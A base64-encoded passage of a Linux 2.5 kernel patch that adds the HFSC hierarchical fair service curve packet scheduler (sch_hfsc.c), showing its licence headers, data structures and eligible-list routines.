ZCBzY2hfaGZzYy4NCisNCiBjb25maWcgTkVUX1NDSF9DU1oNCiAJdHJpc3Rh dGUgIkNTWiBwYWNrZXQgc2NoZWR1bGVyIg0KIAlkZXBlbmRzIG9uIE5FVF9T Q0hFRA0KZGlmZiAtdXJOIGxpbnV4LTIuNS9uZXQvc2NoZWQvc2NoX2hmc2Mu YyBsaW51eC0yLjUtaGZzYy9uZXQvc2NoZWQvc2NoX2hmc2MuYw0KLS0tIGxp bnV4LTIuNS9uZXQvc2NoZWQvc2NoX2hmc2MuYwkxOTcwLTAxLTAxIDAxOjAw OjAwLjAwMDAwMDAwMCArMDEwMA0KKysrIGxpbnV4LTIuNS1oZnNjL25ldC9z Y2hlZC9zY2hfaGZzYy5jCTIwMDQtMDEtMjYgMTA6NDU6MjUuMDAwMDAwMDAw ICswMTAwDQpAQCAtMCwwICsxLDE4NjAgQEANCisvKg0KKyAqIENvcHlyaWdo dCAoYykgMjAwMyBQYXRyaWNrIE1jSGFyZHksIDxrYWJlckB0cmFzaC5uZXQ+ DQorICoNCisgKiBUaGlzIHByb2dyYW0gaXMgZnJlZSBzb2Z0d2FyZTsgeW91 IGNhbiByZWRpc3RyaWJ1dGUgaXQgYW5kL29yDQorICogbW9kaWZ5IGl0IHVu ZGVyIHRoZSB0ZXJtcyBvZiB0aGUgR05VIEdlbmVyYWwgUHVibGljIExpY2Vu c2UNCisgKiBhcyBwdWJsaXNoZWQgYnkgdGhlIEZyZWUgU29mdHdhcmUgRm91 bmRhdGlvbjsgZWl0aGVyIHZlcnNpb24gMg0KKyAqIG9mIHRoZSBMaWNlbnNl LCBvciAoYXQgeW91ciBvcHRpb24pIGFueSBsYXRlciB2ZXJzaW9uLg0KKyAq DQorICogMjAwMy0xMC0xNyAtIFBvcnRlZCBmcm9tIGFsdHENCisgKi8NCisv Kg0KKyAqIENvcHlyaWdodCAoYykgMTk5Ny0xOTk5IENhcm5lZ2llIE1lbGxv biBVbml2ZXJzaXR5LiBBbGwgUmlnaHRzIFJlc2VydmVkLg0KKyAqDQorICog UGVybWlzc2lvbiB0byB1c2UsIGNvcHksIG1vZGlmeSwgYW5kIGRpc3RyaWJ1 dGUgdGhpcyBzb2Z0d2FyZSBhbmQNCisgKiBpdHMgZG9jdW1lbnRhdGlvbiBp cyBoZXJlYnkgZ3JhbnRlZCAoaW5jbHVkaW5nIGZvciBjb21tZXJjaWFsIG9y DQorICogZm9yLXByb2ZpdCB1c2UpLCBwcm92aWRlZCB0aGF0IGJvdGggdGhl IGNvcHlyaWdodCBub3RpY2UgYW5kIHRoaXMNCisgKiBwZXJtaXNzaW9uIG5v dGljZSBhcHBlYXIgaW4gYWxsIGNvcGllcyBvZiB0aGUgc29mdHdhcmUsIGRl cml2YXRpdmUNCisgKiB3b3Jrcywgb3IgbW9kaWZpZWQgdmVyc2lvbnMsIGFu ZCBhbnkgcG9ydGlvbnMgdGhlcmVvZi4NCisgKg0KKyAqIFRISVMgU09GVFdB UkUgSVMgRVhQRVJJTUVOVEFMIEFORCBJUyBLTk9XTiBUTyBIQVZFIEJVR1Ms IFNPTUUgT0YNCisgKiBXSElDSCBNQVkgSEFWRSBTRVJJT1VTIENPTlNFUVVF TkNFUy4gIENBUk5FR0lFIE1FTExPTiBQUk9WSURFUyBUSElTDQorICogU09G VFdBUkUgSU4gSVRTIGBgQVMgSVMnJyBDT05ESVRJT04sIEFORCBBTlkgRVhQ UkVTUyBPUiBJTVBMSUVEDQorICogV0FSUkFOVElFUywgSU5DTFVESU5HLCBC VVQgTk9UIExJTUlURUQgVE8sIFRIRSBJTVBMSUVEIFdBUlJBTlRJRVMNCisg KiBPRiBNRVJDSEFOVEFCSUxJVFkgQU5EIEZJVE5FU1MgRk9SIEEgUEFSVElD VUxBUiBQVVJQT1NFIEFSRQ0KKyAqIERJU0NMQUlNRUQuICBJTiBOTyBFVkVO VCBTSEFMTCBDQVJORUdJRSBNRUxMT04gVU5JVkVSU0lUWSBCRSBMSUFCTEUN CisgKiBGT1IgQU5ZIERJUkVDVCwgSU5ESVJFQ1QsIElOQ0lERU5UQUwsIFNQ RUNJQUwsIEVYRU1QTEFSWSwgT1INCisgKiBDT05TRVFVRU5USUFMIERBTUFH RVMgKElOQ0xVRElORywgQlVUIE5PVCBMSU1JVEVEIFRPLCBQUk9DVVJFTUVO VA0KKyAqIE9GIFNVQlNUSVRVVEUgR09PRFMgT1IgU0VSVklDRVM7IExPU1Mg T0YgVVNFLCBEQVRBLCBPUiBQUk9GSVRTOyBPUg0KKyAqIEJVU0lORVNTIElO VEVSUlVQVElPTikgSE9XRVZFUiBDQVVTRUQgQU5EIE9OIEFOWSBUSEVPUlkg T0YNCisgKiBMSUFCSUxJVFksIFdIRVRIRVIgSU4gQ09OVFJBQ1QsIFNUUklD VCBMSUFCSUxJVFksIE9SIFRPUlQNCisgKiAoSU5DTFVESU5HIE5FR0xJR0VO Q0UgT1IgT1RIRVJXSVNFKSBBUklTSU5HIElOIEFOWSBXQVkgT1VUIE9GIFRI RQ0KKyAqIFVTRSBPRiBUSElTIFNPRlRXQVJFLCBFVkVOIElGIEFEVklTRUQg T0YgVEhFIFBPU1NJQklMSVRZIE9GIFNVQ0gNCisgKiBEQU1BR0UuDQorICoN CisgKiBDYXJuZWdpZSBNZWxsb24gZW5jb3VyYWdlcyAoYnV0IGRvZXMgbm90 IHJlcXVpcmUpIHVzZXJzIG9mIHRoaXMNCisgKiBzb2Z0d2FyZSB0byByZXR1 cm4gYW55IGltcHJvdmVtZW50cyBvciBleHRlbnNpb25zIHRoYXQgdGhleSBt YWtlLA0KKyAqIGFuZCB0byBncmFudCBDYXJuZWdpZSBNZWxsb24gdGhlIHJp Z2h0cyB0byByZWRpc3RyaWJ1dGUgdGhlc2UNCisgKiBjaGFuZ2VzIHdpdGhv dXQgZW5jdW1icmFuY2UuDQorICovDQorLyoNCisgKiBILUZTQyBpcyBkZXNj cmliZWQgaW4gUHJvY2VlZGluZ3Mgb2YgU0lHQ09NTSc5NywNCisgKiAiQSBI aWVyYXJjaGljYWwgRmFpciBTZXJ2aWNlIEN1cnZlIEFsZ29yaXRobSBmb3Ig TGluay1TaGFyaW5nLA0KKyAqIFJlYWwtVGltZSBhbmQgUHJpb3JpdHkgU2Vy dmljZSINCisgKiBieSBJb24gU3RvaWNhLCBIdWkgWmhhbmcsIGFuZCBULiBT LiBFdWdlbmUgTmcuDQorICoNCisgKiBPbGVnIENoZXJldmtvIDxvbHdpQGFx Lm1sLmNvbS51YT4gYWRkZWQgdGhlIHVwcGVybGltaXQgZm9yIGxpbmstc2hh cmluZy4NCisgKiB3aGVuIGEgY2xhc3MgaGFzIGFuIHVwcGVybGltaXQsIHRo ZSBmaXQtdGltZSBpcyBjb21wdXRlZCBmcm9tIHRoZQ0KKyAqIHVwcGVybGlt aXQgc2VydmljZSBjdXJ2ZS4gIHRoZSBsaW5rLXNoYXJpbmcgc2NoZWR1bGVy IGRvZXMgbm90IHNjaGVkdWxlDQorICogYSBjbGFzcyB3aG9zZSBmaXQtdGlt ZSBleGNlZWRzIHRoZSBjdXJyZW50IHRpbWUuDQorICovDQorDQorI2luY2x1 ZGUgPGxpbnV4L2tlcm5lbC5oPg0KKyNpbmNsdWRlIDxsaW51eC9jb25maWcu aD4NCisjaW5jbHVkZSA8bGludXgvbW9kdWxlLmg+DQorI2luY2x1ZGUgPGxp bnV4L3R5cGVzLmg+DQorI2luY2x1ZGUgPGxpbnV4L2Vycm5vLmg+DQorI2lu Y2x1ZGUgPGxpbnV4L2ppZmZpZXMuaD4NCisjaW5jbHVkZSA8bGludXgvY29t cGlsZXIuaD4NCisjaW5jbHVkZSA8bGludXgvc3BpbmxvY2suaD4NCisjaW5j bHVkZSA8bGludXgvc2tidWZmLmg+DQorI2luY2x1ZGUgPGxpbnV4L3N0cmlu Zy5oPg0KKyNpbmNsdWRlIDxsaW51eC9zbGFiLmg+DQorI2luY2x1ZGUgPGxp bnV4L3RpbWVyLmg+DQorI2luY2x1ZGUgPGxpbnV4L2xpc3QuaD4NCisjaW5j bHVkZSA8bGludXgvaW5pdC5oPg0KKyNpbmNsdWRlIDxsaW51eC9uZXRkZXZp Y2UuaD4NCisjaW5jbHVkZSA8bGludXgvcnRuZXRsaW5rLmg+DQorI2luY2x1 ZGUgPGxpbnV4L3BrdF9zY2hlZC5oPg0KKyNpbmNsdWRlIDxuZXQvcGt0X3Nj aGVkLmg+DQorI2luY2x1ZGUgPG5ldC9wa3RfY2xzLmg+DQorI2luY2x1ZGUg PGFzbS9zeXN0ZW0uaD4NCisjaW5jbHVkZSA8YXNtL2RpdjY0Lmg+DQorDQor I2RlZmluZSBIRlNDX0RFQlVHIDENCisNCisvKg0KKyAqIGtlcm5lbCBpbnRl cm5hbCBzZXJ2aWNlIGN1cnZlIHJlcHJlc2VudGF0aW9uOg0KKyAqICAgY29v cmRpbmF0ZXMgYXJlIGdpdmVuIGJ5IDY0IGJpdCB1bnNpZ25lZCBpbnRlZ2Vy cy4NCisgKiAgIHgtYXhpczogdW5pdCBpcyBjbG9jayBjb3VudC4NCisgKiAg IHktYXhpczogdW5pdCBpcyBieXRlLg0KKyAqDQorICogICBUaGUgc2Vydmlj ZSBjdXJ2ZSBwYXJhbWV0ZXJzIGFyZSBjb252ZXJ0ZWQgdG8gdGhlIGludGVy bmFsDQorICogICByZXByZXNlbnRhdGlvbi4gVGhlIHNsb3BlIHZhbHVlcyBh cmUgc2NhbGVkIHRvIGF2b2lkIG92ZXJmbG93Lg0KKyAqICAgdGhlIGludmVy c2Ugc2xvcGUgdmFsdWVzIGFzIHdlbGwgYXMgdGhlIHktcHJvamVjdGlvbiBv ZiB0aGUgMXN0DQorICogICBzZWdtZW50IGFyZSBrZXB0IGluIG9yZGVyIHRv IHRvIGF2b2lkIDY0LWJpdCBkaXZpZGUgb3BlcmF0aW9ucw0KKyAqICAgdGhh dCBhcmUgZXhwZW5zaXZlIG9uIDMyLWJpdCBhcmNoaXRlY3R1cmVzLg0KKyAq Lw0KKw0KK3N0cnVjdCBpbnRlcm5hbF9zYw0KK3sNCisJdV9pbnQ2NF90CXNt MTsJLyogc2NhbGVkIHNsb3BlIG9mIHRoZSAxc3Qgc2VnbWVudCAqLw0KKwl1 X2ludDY0X3QJaXNtMTsJLyogc2NhbGVkIGludmVyc2Utc2xvcGUgb2YgdGhl IDFzdCBzZWdtZW50ICovDQorCXVfaW50NjRfdAlkeDsJLyogdGhlIHgtcHJv amVjdGlvbiBvZiB0aGUgMXN0IHNlZ21lbnQgKi8NCisJdV9pbnQ2NF90CWR5 OwkvKiB0aGUgeS1wcm9qZWN0aW9uIG9mIHRoZSAxc3Qgc2VnbWVudCAqLw0K Kwl1X2ludDY0X3QJc20yOwkvKiBzY2FsZWQgc2xvcGUgb2YgdGhlIDJuZCBz ZWdtZW50ICovDQorCXVfaW50NjRfdAlpc20yOwkvKiBzY2FsZWQgaW52ZXJz ZS1zbG9wZSBvZiB0aGUgMm5kIHNlZ21lbnQgKi8NCit9Ow0KKw0KKy8qIHJ1 bnRpbWUgc2VydmljZSBjdXJ2ZSAqLw0KK3N0cnVjdCBydW50aW1lX3NjDQor ew0KKwl1X2ludDY0X3QJeDsJLyogY3VycmVudCBzdGFydGluZyBwb3NpdGlv biBvbiB4LWF4aXMgKi8NCisJdV9pbnQ2NF90CXk7CS8qIGN1cnJlbnQgc3Rh cnRpbmcgcG9zaXRpb24gb24geS1heGlzICovDQorCXVfaW50NjRfdAlzbTE7 CS8qIHNjYWxlZCBzbG9wZSBvZiB0aGUgMXN0IHNlZ21lbnQgKi8NCisJdV9p bnQ2NF90CWlzbTE7CS8qIHNjYWxlZCBpbnZlcnNlLXNsb3BlIG9mIHRoZSAx c3Qgc2VnbWVudCAqLw0KKwl1X2ludDY0X3QJZHg7CS8qIHRoZSB4LXByb2pl Y3Rpb24gb2YgdGhlIDFzdCBzZWdtZW50ICovDQorCXVfaW50NjRfdAlkeTsJ LyogdGhlIHktcHJvamVjdGlvbiBvZiB0aGUgMXN0IHNlZ21lbnQgKi8NCisJ dV9pbnQ2NF90CXNtMjsJLyogc2NhbGVkIHNsb3BlIG9mIHRoZSAybmQgc2Vn bWVudCAqLw0KKwl1X2ludDY0X3QJaXNtMjsJLyogc2NhbGVkIGludmVyc2Ut c2xvcGUgb2YgdGhlIDJuZCBzZWdtZW50ICovDQorfTsNCisNCitlbnVtIGhm c2NfY2xhc3NfZmxhZ3MNCit7DQorCUhGU0NfUlNDID0gMHgxLA0KKwlIRlND X0ZTQyA9IDB4MiwNCisJSEZTQ19VU0MgPSAweDQNCit9Ow0KKw0KK3N0cnVj dCBoZnNjX2NsYXNzDQorew0KKwl1X2ludDMyX3QJY2xhc3NpZDsJLyogY2xh c3MgaWQgKi8NCisJdW5zaWduZWQgaW50CXJlZmNudDsJCS8qIHVzYWdlIGNv dW50ICovDQorDQorCXN0cnVjdCB0Y19zdGF0cwlzdGF0czsJCS8qIGdlbmVy aWMgc3RhdGlzdGljcyAqLw0KKwl1bnNpZ25lZCBpbnQJbGV2ZWw7CQkvKiBj bGFzcyBsZXZlbCBpbiBoaWVyYXJjaHkgKi8NCisJc3RydWN0IHRjZl9wcm90 byAqZmlsdGVyX2xpc3Q7CS8qIGZpbHRlciBsaXN0ICovDQorCXVuc2lnbmVk IGludAlmaWx0ZXJfY250OwkvKiBmaWx0ZXIgY291bnQgKi8NCisJDQorCXN0 cnVjdCBoZnNjX3NjaGVkICpzY2hlZDsJLyogc2NoZWR1bGVyIGRhdGEgKi8N CisJc3RydWN0IGhmc2NfY2xhc3MgKmNsX3BhcmVudDsJLyogcGFyZW50IGNs YXNzICovDQorCXN0cnVjdCBsaXN0X2hlYWQgc2libGluZ3M7CS8qIHNpYmxp bmcgY2xhc3NlcyAqLw0KKwlzdHJ1Y3QgbGlzdF9oZWFkIGNoaWxkcmVuOwkv KiBjaGlsZCBjbGFzc2VzICovDQorCXN0cnVjdCBRZGlzYwkqcWRpc2M7CQkv KiBsZWFmIHFkaXNjICovDQorDQorCXN0cnVjdCBsaXN0X2hlYWQgYWN0bGlz dDsJLyogYWN0aXZlIGNoaWxkcmVuIGxpc3QgKi8NCisJc3RydWN0IGxpc3Rf aGVhZCBhbGlzdDsJCS8qIGFjdGl2ZSBjaGlsZHJlbiBsaXN0IG1lbWJlciAq Lw0KKwlzdHJ1Y3QgbGlzdF9oZWFkIGVsbGlzdDsJLyogZWxpZ2libGUgbGlz dCBtZW1iZXIgKi8NCisJc3RydWN0IGxpc3RfaGVhZCBobGlzdDsJCS8qIGhh c2ggbGlzdCBtZW1iZXIgKi8NCisJc3RydWN0IGxpc3RfaGVhZCBkbGlzdDsJ CS8qIGRyb3AgbGlzdCBtZW1iZXIgKi8NCisNCisJdV9pbnQ2NF90CWNsX3Rv dGFsOwkvKiB0b3RhbCB3b3JrIGluIGJ5dGVzICovDQorCXVfaW50NjRfdAlj bF9jdW11bDsJLyogY3VtdWxhdGl2ZSB3b3JrIGluIGJ5dGVzIGRvbmUgYnkN CisJCQkJCSAgIHJlYWwtdGltZSBjcml0ZXJpYSAqLw0KKwkNCisJdV9pbnQ2 NF90IAljbF9kOwkJLyogZGVhZGxpbmUqLw0KKwl1X2ludDY0X3QgCWNsX2U7 CQkvKiBlbGlnaWJsZSB0aW1lICovDQorCXVfaW50NjRfdAljbF92dDsJCS8q IHZpcnR1YWwgdGltZSAqLw0KKwl1X2ludDY0X3QJY2xfZjsJCS8qIHRpbWUg d2hlbiB0aGlzIGNsYXNzIHdpbGwgZml0IGZvcg0KKwkJCQkJICAgbGluay1z aGFyaW5nLCBtYXgobXlmLCBjZm1pbikgKi8NCisJdV9pbnQ2NF90CWNsX215 ZjsJCS8qIG15IGZpdC10aW1lIChjYWxjdWxhdGVkIGZyb20gdGhpcw0KKwkJ CQkJICAgY2xhc3MncyBvd24gdXBwZXJsaW1pdCBjdXJ2ZSkgKi8NCisJdV9p bnQ2NF90CWNsX215ZmFkajsJLyogbXkgZml0LXRpbWUgYWRqdXN0bWVudCAo dG8gY2FuY2VsDQorCQkJCQkgICBoaXN0b3J5IGRlcGVuZGVuY2UpICovDQor CXVfaW50NjRfdAljbF9jZm1pbjsJLyogZWFybGllc3QgY2hpbGRyZW4ncyBm aXQtdGltZSAodXNlZA0KKwkJCQkJICAgd2l0aCBjbF9teWYgdG8gb2J0YWlu IGNsX2YpICovDQorCXVfaW50NjRfdAljbF9jdnRtaW47CS8qIG1pbmltYWwg dmlydHVhbCB0aW1lIGFtb25nIHRoZQ0KKwkJCQkJICAgY2hpbGRyZW4gZml0 IGZvciBsaW5rLXNoYXJpbmcNCisJCQkJCSAgIChtb25vdG9uaWMgd2l0aGlu IGEgcGVyaW9kKSAqLw0KKwl1X2ludDY0X3QJY2xfdnRhZGo7CS8qIGludHJh LXBlcmlvZCBjdW11bGF0aXZlIHZ0DQorCQkJCQkgICBhZGp1c3RtZW50ICov DQorCXVfaW50NjRfdAljbF92dG9mZjsJLyogaW50ZXItcGVyaW9kIGN1bXVs YXRpdmUgdnQgb2Zmc2V0ICovDQorCXVfaW50NjRfdAljbF9jdnRtYXg7CS8q IG1heCBjaGlsZCdzIHZ0IGluIHRoZSBsYXN0IHBlcmlvZCAqLw0KKw0KKwlz dHJ1Y3QgaW50ZXJuYWxfc2MgY2xfcnNjOwkvKiBpbnRlcm5hbCByZWFsLXRp bWUgc2VydmljZSBjdXJ2ZSAqLw0KKwlzdHJ1Y3QgaW50ZXJuYWxfc2MgY2xf ZnNjOwkvKiBpbnRlcm5hbCBmYWlyIHNlcnZpY2UgY3VydmUgKi8NCisJc3Ry dWN0IGludGVybmFsX3NjIGNsX3VzYzsJLyogaW50ZXJuYWwgdXBwZXJsaW1p dCBzZXJ2aWNlIGN1cnZlICovDQorCXN0cnVjdCBydW50aW1lX3NjIGNsX2Rl YWRsaW5lOwkvKiBkZWFkbGluZSBjdXJ2ZSAqLw0KKwlzdHJ1Y3QgcnVudGlt ZV9zYyBjbF9lbGlnaWJsZTsJLyogZWxpZ2libGUgY3VydmUgKi8NCisJc3Ry dWN0IHJ1bnRpbWVfc2MgY2xfdmlydHVhbDsJLyogdmlydHVhbCBjdXJ2ZSAq Lw0KKwlzdHJ1Y3QgcnVudGltZV9zYyBjbF91bGltaXQ7CS8qIHVwcGVybGlt aXQgY3VydmUgKi8NCisNCisJdW5zaWduZWQgbG9uZwljbF9mbGFnczsJLyog d2hpY2ggY3VydmVzIGFyZSB2YWxpZCAqLw0KKwl1bnNpZ25lZCBsb25nCWNs X3Z0cGVyaW9kOwkvKiB2dCBwZXJpb2Qgc2VxdWVuY2UgbnVtYmVyICovDQor CXVuc2lnbmVkIGxvbmcJY2xfcGFyZW50cGVyaW9kOy8qIHBhcmVudCdzIHZ0 IHBlcmlvZCBzZXF1ZW5jZSBudW1iZXIqLw0KKwl1bnNpZ25lZCBsb25nCWNs X25hY3RpdmU7CS8qIG51bWJlciBvZiBhY3RpdmUgY2hpbGRyZW4gKi8NCit9 Ow0KKw0KKyNkZWZpbmUgSEZTQ19IU0laRQkxNg0KKw0KK3N0cnVjdCBoZnNj X3NjaGVkDQorew0KKwl1X2ludDE2X3QJZGVmY2xzOwkJCS8qIGRlZmF1bHQg Y2xhc3MgaWQgKi8NCisNCisJc3RydWN0IGhmc2NfY2xhc3Mgcm9vdDsJCQkv KiByb290IGNsYXNzICovDQorCXN0cnVjdCBoZnNjX2NsYXNzICpsYXN0X3ht aXQ7CQkvKiBjbGFzcyB0aGF0IHRyYW5zbWl0dGVkIGxhc3QNCisJCQkJCQkg ICBwYWNrZXQgKGZvciByZXF1ZXVlaW5nKSAqLw0KKwlzdHJ1Y3QgbGlzdF9o ZWFkIGNsaGFzaFtIRlNDX0hTSVpFXTsJLyogY2xhc3MgaGFzaCAqLw0KKwlz dHJ1Y3QgbGlzdF9oZWFkIGVsaWdpYmxlOwkJLyogZWxpZ2libGUgbGlzdCAq Lw0KKwlzdHJ1Y3QgbGlzdF9oZWFkIGRyb3BsaXN0OwkJLyogYWN0aXZlIGxl YWYgY2xhc3MgbGlzdCAoZm9yDQorCQkJCQkJICAgZHJvcHBpbmcpICovDQor CXN0cnVjdCB0aW1lcl9saXN0IHdkX3RpbWVyOwkJLyogd2F0Y2hkb2cgdGlt ZXIgKi8NCit9Ow0KKwkNCisvKg0KKyAqIG1hY3Jvcw0KKyAqLw0KKyNpZiBQ U0NIRURfQ0xPQ0tfU09VUkNFID09IFBTQ0hFRF9HRVRUSU1FT0ZEQVkNCisj aW5jbHVkZSA8bGludXgvdGltZS5oPg0KKyN1bmRlZiBQU0NIRURfR0VUX1RJ TUUNCisjZGVmaW5lIFBTQ0hFRF9HRVRfVElNRShzdGFtcCkJCQkJCQlcDQor ZG8gewkJCQkJCQkJCVwNCisJc3RydWN0IHRpbWV2YWwgdHY7CQkJCQkJXA0K Kwlkb19nZXR0aW1lb2ZkYXkoJnR2KTsJCQkJCQlcDQorCShzdGFtcCkgPSAx MDAwMDAwVUxMICogdHYudHZfc2VjICsgdHYudHZfdXNlYzsJCQlcDQorfSB3 aGlsZSAoMCkNCisjZW5kaWYNCisNCisjaWYgSEZTQ19ERUJVRw0KKyNkZWZp bmUgQVNTRVJUKGNvbmQpCQkJCQkJCVwNCitkbyB7CQkJCQkJCQkJXA0KKwlp ZiAodW5saWtlbHkoIShjb25kKSkpCQkJCQkJXA0KKwkJcHJpbnRrKCJhc3Nl cnRpb24gJXMgZmFpbGVkIGF0ICVzOiVpICglcylcbiIsCQlcDQorCQkgICAg ICAgI2NvbmQsIF9fRklMRV9fLCBfX0xJTkVfXywgX19GVU5DVElPTl9fKTsJ XA0KK30gd2hpbGUgKDApDQorI2Vsc2UNCisjZGVmaW5lIEFTU0VSVChjb25k KQ0KKyNlbmRpZiAvKiBIRlNDX0RFQlVHICovDQorDQorI2RlZmluZQlIVF9J TkZJTklUWQkweGZmZmZmZmZmZmZmZmZmZmZVTEwJLyogaW5maW5pdGUgdGlt ZSB2YWx1ZSAqLw0KKw0KKw0KKy8qDQorICogZWxpZ2libGUgbGlzdCBob2xk cyBiYWNrbG9nZ2VkIGNsYXNzZXMgYmVpbmcgc29ydGVkIGJ5IHRoZWlyIGVs aWdpYmxlIHRpbWVzLg0KKyAqIHRoZXJlIGlzIG9uZSBlbGlnaWJsZSBsaXN0 IHBlciBoZnNjIGluc3RhbmNlLg0KKyAqLw0KKw0KK3N0YXRpYyB2b2lkDQor ZWxsaXN0X2luc2VydChzdHJ1Y3QgaGZzY19jbGFzcyAqY2wpDQorew0KKwlz dHJ1Y3QgbGlzdF9oZWFkICpoZWFkID0gJmNsLT5zY2hlZC0+ZWxpZ2libGU7 DQorCXN0cnVjdCBoZnNjX2NsYXNzICpwOw0KKw0KKwkvKiBjaGVjayB0aGUg bGFzdCBlbnRyeSBmaXJzdCAqLw0KKwlpZiAobGlzdF9lbXB0eShoZWFkKSB8 fA0KKwkgICAgKChwID0gbGlzdF9lbnRyeShoZWFkLT5wcmV2LCBzdHJ1Y3Qg aGZzY19jbGFzcywgZWxsaXN0KSkgJiYNCisJICAgICBwLT5jbF9lIDw9IGNs LT5jbF9lKSkgew0KKwkJbGlzdF9hZGRfdGFpbCgmY2wtPmVsbGlzdCwgaGVh ZCk7DQorCQlyZXR1cm47DQorCX0NCisNCisJbGlzdF9mb3JfZWFjaF9lbnRy eShwLCBoZWFkLCBlbGxpc3QpIHsNCisJCWlmIChjbC0+Y2xfZSA8IHAtPmNs X2UpIHsNCisJCQkvKiBpbnNlcnQgY2wgYmVmb3JlIHAgKi8NCisJCQlsaXN0 X2FkZF90YWlsKCZjbC0+ZWxsaXN0LCAmcC0+ZWxsaXN0KTsNCisJCQlyZXR1 cm47DQorCQl9DQorCX0NCisJQVNTRVJUKDApOyAvKiBzaG91bGQgbm90IHJl YWNoIGhlcmUgKi8NCit9DQorDQorc3RhdGljIGlubGluZSB2b2lkDQorZWxs aXN0X3JlbW92ZShzdHJ1Y3QgaGZzY19jbGFzcyAqY2wpDQorew0KKwlsaXN0 X2RlbCgmY2wtPmVsbGlzdCk7DQorfQ0KKw0KK3N0YXRpYyB2b2lkDQorZWxs aXN0X3VwZGF0ZShzdHJ1Y3QgaGZzY19jbGFzcyAqY2wpDQorew0KKwlzdHJ1 Y3QgbGlzdF9oZWFkICpoZWFkID0gJmNsLT5zY2hlZC0+ZWxpZ2libGU7DQor CXN0cnVjdCBoZnNjX2NsYXNzICpwLCAqbGFzdDsNCisNCisJLyoNCisJICog dGhlIGVsaWdpYmxlIHRpbWUgb2YgYSBjbGFzcyBpbmNyZWFzZXMgbW9ub3Rv bmljYWxseS4NCisJICogaWYgdGhlIG5leHQgZW50cnkgaGFzIGEgbGFyZ2Vy IGVsaWdpYmxlIHRpbWUsIG5vdGhpbmcgdG8gZG8uDQorCSAqLw0KKwlpZiAo Y2wtPmVsbGlzdC5uZXh0ID09IGhlYWQgfHwNCisJICAgICgocCA9IGxpc3Rf ZW50cnkoY2wtPmVsbGlzdC5uZXh0LCBzdHJ1Y3QgaGZzY19jbGFzcywgZWxs aXN0KSkgJiYNCisJICAgICBjbC0+Y2xfZSA8PSBwLT5jbF9lKSkNCisJCXJl dHVybjsNCisNCisJLyogY2hlY2sgdGhlIGxhc3QgZW50cnkgKi8NCisJbGFz dCA9IGxpc3RfZW50cnkoaGVhZC0+cHJldiwgc3RydWN0IGhmc2NfY2xhc3Ms IGVsbGlzdCk7DQorCWlmIChsYXN0LT5jbF9lIDw9IGNsLT5jbF9lKSB7DQor CQlsaXN0X21vdmVfdGFpbCgmY2wtPmVsbGlzdCwgaGVhZCk7DQorCQlyZXR1 cm47DQorCX0NCisNCisJLyoNCisJICogdGhlIG5ldyBwb3NpdGlvbiBtdXN0 IGJlIGJldHdlZW4gdGhlIG5leHQgZW50cnkNCisJICogYW5kIHRoZSBsYXN0 IGVudHJ5DQorCSAqLw0KKwlsaXN0X2Zvcl9lYWNoX2VudHJ5X2NvbnRpbnVl KHAsIGhlYWQsIGVsbGlzdCkgew0KKwkJaWYgKGNsLT5jbF9lIDwgcC0+Y2xf ZSkgew0KKwkJCWxpc3RfbW92ZV90YWlsKCZjbC0+ZWxsaXN0LCAmcC0+ZWxs aXN0KTsNCisJCQlyZXR1cm47DQorCQl9DQorCX0NCisJQVNTRVJUKDApOyAv KiBzaG91bGQgbm90IHJlYWNoIGhlcmUgKi8NCit9DQorDQorLyogZmluZCB0 aGUgY2xhc3Mgd2l0aCB0aGUgbWluaW11bSBkZWFkbGluZSBhbW9uZyB0aGUg ZWxpZ2libGUgY2xhc3NlcyAqLw0KK3N0YXRpYyBpbmxpbmUgc3RydWN0IGhm c2NfY2xhc3MgKg0KK2VsbGlzdF9nZXRfbWluZGwoc3RydWN0IGxpc3RfaGVh ZCAqaGVhZCwgdV9pbnQ2NF90IGN1cl90aW1lKQ0KK3sNCisJc3RydWN0IGhm c2NfY2xhc3MgKnAsICpjbCA9IE5VTEw7DQorDQorCWxpc3RfZm9yX2VhY2hf ZW50cnkocCwgaGVhZCwgZWxsaXN0KSB7DQorCQlpZiAocC0+Y2xfZSA+IGN1 cl90aW1lKQ0KKwkJCWJyZWFrOw0KKwkJaWYgKGNsID09IE5VTEwgfHwgcC0+ Y2xfZCA8IGNsLT5jbF9kKQ0KKwkJCWNsID0gcDsNCisJfQ0KKwlyZXR1cm4g Y2w7DQorfQ0KKw0KKy8qIGZpbmQgdGhlIGNsYXNzIHdpdGggbWluaW11bSBl bGlnaWJsZSB0aW1lIGFtb25nIHRoZSBlbGlnaWJsZSBjbGFzc2VzICovDQor c3RhdGljIGlubGluZSBzdHJ1Y3QgaGZzY19jbGFzcyAqDQorZWxsaXN0X2dl dF9taW5lbChzdHJ1Y3QgbGlzdF9oZWFkICpoZWFkKQ0KK3sNCisJaWYgKGxp c3RfZW1wdHkoaGVhZCkpDQorCQlyZXR1cm4gTlVMTDsNCisJcmV0dXJuIGxp c3RfZW50cnkoaGVhZC0+bmV4dCwgc3RydWN0IGhmc2NfY2xhc3MsIGVsbGlz dCk7DQorfQ0KKw0KKy8qDQorICogYWN0aXZlIGNoaWxkcmVuIGxpc3QgaG9s ZHMgYmFja2xvZ2dlZCBjaGlsZCBjbGFzc2VzIGJlaW5nIHNvcnRlZA0KKyAq IGJ5IHRoZWlyIHZpcnR1YWwgdGltZS4gZWFjaCBpbnRlcm1lZGlhdGUgY2xh c3MgaGFzIG9uZSBhY3RpdmUgDQorICogY2hpbGRyZW4gbGlzdC4NCisgKi8N CitzdGF0aWMgdm9pZA0KK2FjdGxpc3RfaW5zZXJ0KHN0cnVjdCBoZnNjX2Ns YXNzICpjbCkNCit7DQorCXN0cnVjdCBsaXN0X2hlYWQgKmhlYWQgPSAmY2wt PmNsX3BhcmVudC0+YWN0bGlzdDsNCisJc3RydWN0IGhmc2NfY2xhc3MgKnA7 DQorDQorCS8qIGNoZWNrIHRoZSBsYXN0IGVudHJ5IGZpcnN0ICovDQorCWlm IChsaXN0X2VtcHR5KGhlYWQpIHx8DQorCSAgICAoKHAgPSBsaXN0X2VudHJ5 KGhlYWQtPnByZXYsIHN0cnVjdCBoZnNjX2NsYXNzLCBhbGlzdCkpICYmDQor CSAgICAgcC0+Y2xfdnQgPD0gY2wtPmNsX3Z0KSkgew0KKwkJbGlzdF9hZGRf dGFpbCgmY2wtPmFsaXN0LCBoZWFkKTsNCisJCXJldHVybjsNCisJfQ0KKw0K KwlsaXN0X2Zvcl9lYWNoX2VudHJ5KHAsIGhlYWQsIGFsaXN0KSB7DQorCQlp 